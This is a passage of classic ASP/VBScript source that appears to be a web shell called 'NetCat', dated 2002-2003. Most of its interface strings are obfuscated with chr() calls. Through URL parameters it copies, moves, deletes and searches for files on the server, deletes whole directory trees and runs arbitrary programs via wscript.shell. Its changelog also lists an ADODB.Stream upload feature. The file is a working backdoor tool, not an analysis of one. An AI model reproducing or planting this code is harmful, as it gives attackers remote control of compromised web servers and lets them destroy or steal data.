          response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=copy&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+"    "+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+"    "+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)
          response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
          exit function
      end if
      if copyfso.FileExists(srcfile) then
          if copyfso.FileExists(tarfile) then
              copyfso.DeleteFile tarfile
          end if
          copyfso.CopyFile srcfile,tarfile
          response.write "file(s) copied"+chr(-23622)+"<br><br>    "+chr(-11084)+chr(-12604)+chr(-17154)+chr(-23622) & srcfile & "<br><br>    "+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-23622) & tarfile
        else
          response.write chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647)
       end if
end if
set copyfso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
''===============================================================================================================
Function fMOVE()
dim srcfile
dim tarfile
dim movefso
srcfile=trim(request("par1"))
tarfile=trim(request("par2"))
pcmdhostinfo

if srcfile="?" or srcfile="/?" or srcfile="-?" or tarfile="?" or tarfile="/?" or tarfile="-?" or srcfile="" or tarfile="" then
response.write "MOVE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-11578)+chr(-18769)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=move&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if

set movefso=server.createobject("Scripting.FileSystemObject")

if request("movemethod")<>"remove" then
      srcfile=vir2abs(srcfile)
      tarfile=vir2abs(tarfile)
      if movefso.FileExists(srcfile) then
           if movefso.FileExists(tarfile) then
               response.write "<form name=moveform method=post action=" & SelfName() & "?cmd=move>"
               response.write "<input type=hidden name=movemethod value=remove>"
               response.write "<input type=hidden name=srcfilename value=" & srcfile & ">"
               response.write "<input type=hidden name=tarfilename value=" & tarfile & ">"
               response.write tarfile & "<br>    "+chr(-12604)+chr(-17154)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23636)+chr(-13625)+chr(-18447)+chr(-18254)+chr(-18233)+chr(-11091)+chr(-16204)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-23617)
               response.write "<input type=submit value="+chr(-13625)+" class=catbutton><input type=button value="+chr(-18447)+" onclick=javascript:history.back() class=catbutton>"
               response.write "</form>"
             else
               movefso.MoveFile srcfile,tarfile
               response.write "file(s) moved"+chr(-23622)+"<br><br>    "+chr(-11084)+chr(-12604)+chr(-17154)+chr(-23622) & srcfile & "<br><br>    "+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-23622) & tarfile 
          end if
         else
          response.write chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647)
      end if
   else
      srcfile=vir2abs(request("srcfilename"))
      tarfile=vir2abs(request("tarfilename"))
      i
f trim(srcfile)="" or trim(tarfile)="" then
          response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=move&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+"    "+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+"    "+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)
          response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
          exit function
      end if
      if movefso.FileExists(srcfile) then
          if movefso.FileExists(tarfile) then
              movefso.DeleteFile tarfile
          end if
          movefso.MoveFile srcfile,tarfile
          response.write "file(s) moved"+chr(-23622)+"<br><br>    "+chr(-11084)+chr(-12604)+chr(-17154)+chr(-23622) & srcfile & "<br><br>    "+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-23622) & tarfile
        else
          response.write chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647)
       end if
end if
set movefso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
''===============================================================================================================
Function fDEL()
dim delpar
dim deldir
dim delfile
dim delfiles
dim delfolder
dim itemtmp
dim delfso
dim ldelcount
delpar=trim(request("par"))
pcmdhostinfo

if delpar="/?" or trim(delpar)="" then
response.write "DEL"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-13890)+chr(-19459)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=del&par=<"+chr(-19762)+chr(-13571)+"><br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if
delpar=vir2abs(delpar)

deldir=mid(delpar,1,instrrev(delpar,"\"))
delfile=mid(delpar,instrrev(delpar,"\")+1)
if instr(deldir,"*")>0 or instr(deldir,"?")>0 or instr(deldir,"|")>0 or instr(deldir,"<")>0 or instr(deldir,">")>0 then
   response.write chr(-13890)+chr(-19459)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-12056)+chr(-11606)+chr(-13890)+chr(-19459)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-10282)+chr(-18437)
   exit function
end if

set delfso=server.createobject("Scripting.FileSystemObject")

if delfso.FolderExists(deldir) then
   ldelcount=0
   set delfolder=delfso.GetFolder(deldir)
   set delfiles=delfolder.files
   for each itemtmp in delfiles
       if mylike(delfile,itemtmp.name) then
          ldelcount=ldelcount+1
          delfso.DeleteFile itemtmp
       end if
   next
   if ldelcount>0 then
      response.write chr(-12604)+chr(-17154)+chr(-13890)+chr(-19459)+chr(-19511)+chr(-18010)+chr(-23647)+chr(-23640) & delpar & chr(-23639)
     else
      response.write chr(-13890)+chr(-19459)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647)
   end if
   set delfolder=nothing
   set delfiles=nothing
   set itemtmp=nothing
  else
   response.write chr(-13890)+chr(-19459)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647)
end if
set delfso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
''===============================================================================================================
Function fDELTREE()
Dim deltreedir
deltreedir=trim(request("par"))
pcmdhostinfo

if deltreedir="?" or deltreedir="/?" or deltreedir="-?" or deltreedir="" or deltreedir="/?" then
response.write "DELTREE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-14363)+chr(-16427)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-10568)+chr(-18776)+chr(-15169)+chr(-15684)+chr(-12350)+chr(-19004)+chr(-13319)+chr(-11312)+chr(-12604)+chr(-17154)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=deltree&par=<"+chr(-19762)+chr(-13571)+"><br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-12056)+chr(-11606)+chr(-14363)+chr(-16427)+chr(-19004)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if
deltreedir=vir2abs(deltreedir)
if instr(deltreedir,"*")>0 or instr(deltreedir,"?")>0 or instr(deltreedir,"|")>0 or instr(deltreedir,"<")>0 or instr(deltreedir,">")>0 then
  
 response.write chr(-13890)+chr(-19459)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-12056)+chr(-11606)+chr(-19735)+chr(-10798)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-10282)+chr(-18437)
   exit function
end if
if request.form("realdeltree")<>"dodeltree" then
   deltreedir=replace(deltreedir,chr(32),"%20")
   deltreedir=replace(deltreedir,"#","|acrs|")
   response.write "<form name=deltreeform method=post action=" & SelfName() & "?cmd=deltree&par=" & deltreedir & ">"
   response.write "<input type=hidden name=realdeltree value=dodeltree>"
   deltreedir=replace(deltreedir,"|acrs|","#")
   deltreedir=replace(deltreedir,"%20"," ")
   response.write chr(-10778)+chr(-19004)+chr(-11606)+chr(-14363)+chr(-16427)+" " & deltreedir & " "+chr(-12350)+chr(-19004)+chr(-13319)+chr(-11312)+chr(-12604)+chr(-17154)+chr(-15632)+chr(-23617)+"<br><input type=submit value="+chr(-13625)+" class=catbutton><input type=button value="+chr(-18447)+" class=catbutton onclick=javascript:history.back()>"
   response.write "</form>"
  else
   call myListFile(deltreedir,"*","CAT_DELTREE")
end if
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
''===============================================================================================================
Function fRUN()
dim runfile
dim runfso
dim runwscr
runfile=trim(request("par"))
pcmdhostinfo

if runfile="?" or runfile="/?" or runfile="-?" or trim(runfile)="" then
response.write "RUN"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-19276)+chr(-16984)+chr(-11589)+chr(-18186)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16904)+chr(-19508)+"<br><br>"
response.write chr(-11534)+chr(-12630)+chr(-14168)+chr(-12322)+chr(-12598)+chr(-13086)+chr(-23636)+chr(-19781)+chr(-15140)+chr(-20061)+chr(-10588)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-15140)+chr(-10755)+chr(-19549)+chr(-11061)+chr(-12080)+chr(-10568)+chr(-18776)+chr(-16904)+chr(-19508)+chr(-24157)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=run&par=["+chr(-19762)+chr(-13571)+"]<br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if
runfile=vir2abs(runfile)
set runfso=server.createobject("Scripting.FileSystemObject")
if runfso.FileExists(runfile) then
   set runwscr=server.CreateObject("wscript.shell")
   runwscr.run runfile
   set runwscr=nothing
   response.write chr(-11567)+chr(-16723)+chr(-19276)+chr(-16984)+chr(-15925)+chr(-16904)+chr(-19508)+chr(-23622) & runfile & "<br>"+chr(-16439)+chr(-15140)+chr(-11534)+chr(-12630)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-14168)+chr(-12322)+chr(-12598)+chr(-13086)+chr(-23636)+chr(-16904)+chr(-19508)+chr(-11312)+chr(-16439)+chr(-15140)+chr(-19806)+chr(-19781)+chr(-15140)+chr(-12822)+chr(-14165)+chr(-10755)+chr(-19549)+chr(-11061)+chr(-12080)+chr(-24157)
  else
   response.write chr(-12604)+chr(-17154)+chr(-11061)+chr(-12080)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647)
end if
set runfso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
'==========================================================================
Function fFINDFILE()
Dim finddir,findfile
findfile=trim(request("par1"))
finddir=trim(request("par2"))
pcmdhostinfo

if finddir="?" or finddir="/?" or finddir="-?" or findfile="" or findfile="/?" then
response.write "FINDFILE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-19735)+chr(-10798)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=findfile&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=["+chr(-19762)+chr(-13571)+"2]<br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-12056)+chr(-11606)+chr(-19735)+chr(-10798)+chr(-19004)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-19735)+chr(-10798)+chr(-19004)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if
findfile=replace(findfile,"|acrs|","#")
finddir=vir2abs(finddir)
if trim(finddir)="" then
   finddir=AppPath()
end if
if instr(finddir,"*")>0 or instr(finddir,"?")>0 or instr(finddir,"|")>0 or instr(finddir,"<")>0 or instr(finddir,">")>0 then
   response.write chr(-19735)+chr(-10798)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-12056)+chr(-11606)+chr(-19735)+chr(-10798)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-10282)+chr(-18437)
   exit function
end if
if instr(findfile,"\")>0 or instr(findfile,"/")>0 or instr(findfile,":")>0 or instr(findfile,"<")>0 or instr(findfile,">")>0 or instr(findfile,"|")>0 then
   response.write chr(-19735)+chr(-10798)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-12056)+chr(-11606)+chr(-19735)+chr(-10798)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-10282)+chr(-18437)
   exit function
end if
call myListFile(finddir,findfile,"CAT_FINDFILE")
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
'==========================================================================
Function fVER()
Dim verpar
verpar=ucase(trim(request("par")))
pcmdhostinfo

if verpar="ABOUTNETCAT" then
   response.write "NetCat("+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+")"+chr(-13827)+chr(-17226)+chr(-14123)+chr(-10562)+"<br>"
   response.write "============================================================
====================<br>"
   response.write "2.00  "+chr(-23640)+"2003-05-23"+chr(-23639)+"<br>"
   response.write "    1"+chr(-24158)+chr(-12302)+"DIR"+chr(-15364)+chr(-15890)+chr(-11018)+chr(-17197)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-19004)+chr(-10585)+chr(-19498)+chr(-23636)+chr(-10782)+chr(-18186)+chr(-16439)+chr(-13625)+chr(-17700)+chr(-10536)+chr(-19213)+chr(-19004)+chr(-18236)+chr(-19996)+chr(-23640)+chr(-19206)+chr(-15637)+chr(-12108)+chr(-13376)+chr(-12590)+chr(-15925)+chr(-23639)+chr(-23636)+chr(-11606)+chr(-10582)+chr(-19008)+chr(-23636)+"VBScript"+chr(-16145)+chr(-15386)+chr(-13625)+chr(-15429)+chr(-11312)+chr(-24144)+"Like"+chr(-24143)+chr(-11061)+chr(-13341)+chr(-18437)+chr(-19004)+chr(-20319)+chr(-23647)+chr(-20271)+chr(-11564)+chr(-12807)+chr(-20250)+chr(-20034)+chr(-19004)+"DIR"+chr(-15364)+chr(-15890)+chr(-18740)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-18236)+chr(-19511)+chr(-19548)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-19004)+chr(-12332)+chr(-13634)+"<br>"
   response.write "    2"+chr(-24158)+chr(-12066)+chr(-18252)+chr(-15925)+chr(-19781)+chr(-15140)+chr(-18493)+chr(-12598)+chr(-17748)+chr(-11312)+chr(-24144)+"#"+chr(-24143)+chr(-17723)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17715)+chr(-15169)+chr(-15684)+"<br>"
   response.write "    3"+chr(-24158)+chr(-12066)+chr(-18236)+chr(-15925)+"DEL"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-13639)+chr(-14620)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+"<br>"
   response.write "    4"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+chr(-24144)+chr(-12590)+chr(-19004)+chr(-18969)+chr(-15148)+chr(-24143)+chr(-11597)+chr(-15386)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-6993)+chr(-16192)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-13873)+chr(-19004)+chr(-14339)+chr(-18769)+chr(-14601)+chr(-15920)+chr(-19987)+chr(-11564)+chr(-17232)+chr(-14339)+chr(-18769)+chr(-14601)+chr(-19004)+chr(-12091)+chr(-12382)+"<br>"
   response.write "    5"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"UPFILE"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-16133)+chr(-11325)+"ADODB.Stream"+chr(-18732)+chr(-12301)+chr(-19004)+chr(-20000)+chr(-12108)+chr(-19004)+chr(-12578)+chr(-10263)+chr(-17154)+chr(-13873)+chr(-19285)+chr(-18010)+chr(-15140)+"<br>"
   response.write "    6"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"FINDFILE"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-18732)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-13873)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-16904)+chr(-12080)+chr(-19735)+chr(-10798)+"<br>"
   response.write "    7"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"DELTREE"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-14363)+chr(-19459)+chr(-10568)+chr(-18776)+chr(-15169)+chr(-15684)+chr(-12350)+chr(-19004)+chr(-13319)+chr(-11312)+chr(-12604)+chr(-17154)+"<br>"
   response.write "    8"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"VER"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-19735)+chr(-16460)+" NetCat "+chr(-19004)+chr(-20250)+chr(-20034)+chr(-12091)+chr(-12382)+chr(-11564)+chr(-17232)+chr(-13827)+chr(-17226)+chr(-14123)+chr(-10562)+"<br>"
   response.write "    9"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"REN"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-13643)+chr(-12330)+chr(-18732)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-10536)+chr(-15364)+chr(-15365)+"<br>"
   response.write "   10"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"DIRMAKE"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-15140)+chr(-11046)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-13873)+chr(-12094)+chr(-16984)+chr(-15169)+chr(-15684)+"<br>"
   response.write "   11"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"DIRCOPY"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-13643)+chr(-12330)+chr(-18732)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-13873)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-16904)+chr(-12080)+chr(-18252)+chr(-10554)+"<br>"
   response.write "   12"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"DIRMOVE"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-13643)+chr(-12330)+chr(-18732)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-13873)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-16904)+chr(-12080)+chr(-11578)+chr(-18769)+"<br>"
   response.write "   13"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"DIRDEL"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-13643)+chr(-12330)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-13873)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19004)+chr(-13890)+chr(-19459)+"<br><br>"
   response.write "1.02  "+chr(-23640)+"2002-12-15"+chr(-23639)+"<br>"
   response.write "    1"+chr(-24158)+chr(-12066)+chr(-18252)+chr(-15925)+chr(-11564)+chr(-14416)+chr(-20250)+chr(-20034)+chr(-19004)+"DIR"+chr(-15364)+chr(-15890)+chr(-10565)+chr(-15140)+chr(-13639)+chr(-11325)+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23636)+chr(-18696)+chr(-13639)+chr(-11325)+chr(-12320)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-16691)+chr(-19466)+chr(-19219)+chr(-19004)+chr(-12598)+chr(-13086)+"<br>"
   response.write "    2"+chr(-24158)+chr(-12094)+chr(-11018)+chr(-17197)+"COPY"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-11046)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-13643)+chr(-12080)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-18252)+chr(-10554)+"<br>"
   response.write "    3"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"MOVE"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-13643)+chr(-12330)+chr(-11046)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-16904)+chr(-12080)+chr(-12604)+chr(-17154)+chr(-11578)+chr(-18769)+"<br>"
   response.write "    4"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"DEL"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-13643)+chr(-12330)+chr(-12604)+chr(-17154)+chr(-13890)+chr(-19459)+"<br>"
   response.write "    5"+chr(-24158)+chr(-11018)+chr(-17197)+"RUN"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-19276)+chr(-16984)+chr(-11589)+chr(-18186)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16904)+chr(-19508)+chr(-23636)+chr(-11534)+chr(-12630)+chr(-14168)+chr(-12322)+chr(-12598)+chr(-13086)+chr(-23636)+chr(-17479)+chr(-19781)+chr(-15140)+chr(-12822)+chr(-14165)+chr(-10755)+chr(-19549)+chr(-11061)+chr(-12080)+"<br>"
   response.write "    6"+chr(-24158)+chr(-20271)+chr(-19206)+chr(-15637)+chr(-10544)+chr(-13319)+chr(-11312)+chr(-19004)+chr(-10544)+chr(-12604)+chr(-17477)+chr(-19511)+"ASCII"+chr(-15637)+chr(-23636)+chr(-11534)+chr(-12630)+chr(-11046)+"ASP"+chr(-17197)+chr(-15396)+chr(-19004)+chr(-17923)+chr(-19508)+chr(-10544)+chr(-23636)+chr(-10544)+chr(-12604)+chr(-13625)+chr(-19781)+chr(-15140)+chr(-20037)+chr(-17197)+chr(-15396)+chr(-19004)+chr(-23636)+chr(-14105)+chr(-17925)+chr(-11312)+chr(-10544)+chr(-12604)+chr(-19226)+chr(-11046)+chr(-23636)+chr(-15161)+chr(-15436)+chr(-15181)+chr(-12119)+chr(-10544)+chr(-12604)+chr(-10282)+chr(-16691)+chr(-16439)+chr(-11564)+chr(-20037)+chr(-18732)+chr(-18499)+chr(-10249)+chr(-12630)+chr(-20034)+chr(-19508)+chr(-12046)+chr(-19004)+chr(-13096)+chr(-10761)+chr(-18696)+c
hr(-20037)+chr(-14367)+chr(-11561)+chr(-10798)+chr(-19466)+chr(-16204)+"<br>"
   response.write "    7"+chr(-24158)+chr(-20271)+chr(-19206)+chr(-15637)+chr(-18224)+chr(-14146)+chr(-20250)+chr(-16145)+chr(-15386)+chr(-19004)+chr(-13319)+chr(-11312)+chr(-19004)+chr(-10544)+chr(-12604)+chr(-11598)+chr(-18182)+chr(-10299)+chr(-17477)+chr(-19511)+"ASCII"+chr(-15637)+chr(-15925)+chr(-23636)+chr(-19806)+chr(-12066)+chr(-10755)+chr(-15925)+chr(-19206)+chr(-15637)+chr(-18224)+chr(-14146)+chr(-20250)+"1.01"+chr(-20250)+chr(-19004)+chr(-18224)+chr(-14146)+chr(-14159)+chr(-12323)+"<br>"
   response.write "    8"+chr(-24158)+chr(-19206)+chr(-15637)+chr(-18224)+chr(-14146)+chr(-20250)+"ASCII"+chr(-15637)+chr(-20250)+chr(-11046)+chr(-10782)+chr(-18186)+chr(-20250)+chr(-20034)+chr(-16470)+chr(-13636)+chr(-23636)+chr(-17439)+chr(-20271)+chr(-10284)+chr(-13843)+chr(-18474)+chr(-19511)+chr(-14092)+chr(-18231)+chr(-18186)+chr(-19206)+chr(-15637)+chr(-18738)+chr(-23636)+chr(-18474)+chr(-13918)+chr(-18984)+chr(-18732)+chr(-13346)+chr(-10505)+chr(-12604)+chr(-17154)+chr(-16904)+chr(-12080)+chr(-18224)+chr(-14146)+chr(-23636)+chr(-15140)+chr(-11312)+chr(-12121)+chr(-18984)+chr(-18496)+chr(-10567)+chr(-18732)+chr(-18499)+chr(-16904)+chr(-12080)+chr(-13096)+chr(-10761)+chr(-15637)+chr(-13912)+chr(-15384)+"<br><br>"
   response.write "1.01  "+chr(-23640)+"2002-11-14"+chr(-23639)+"<br>"
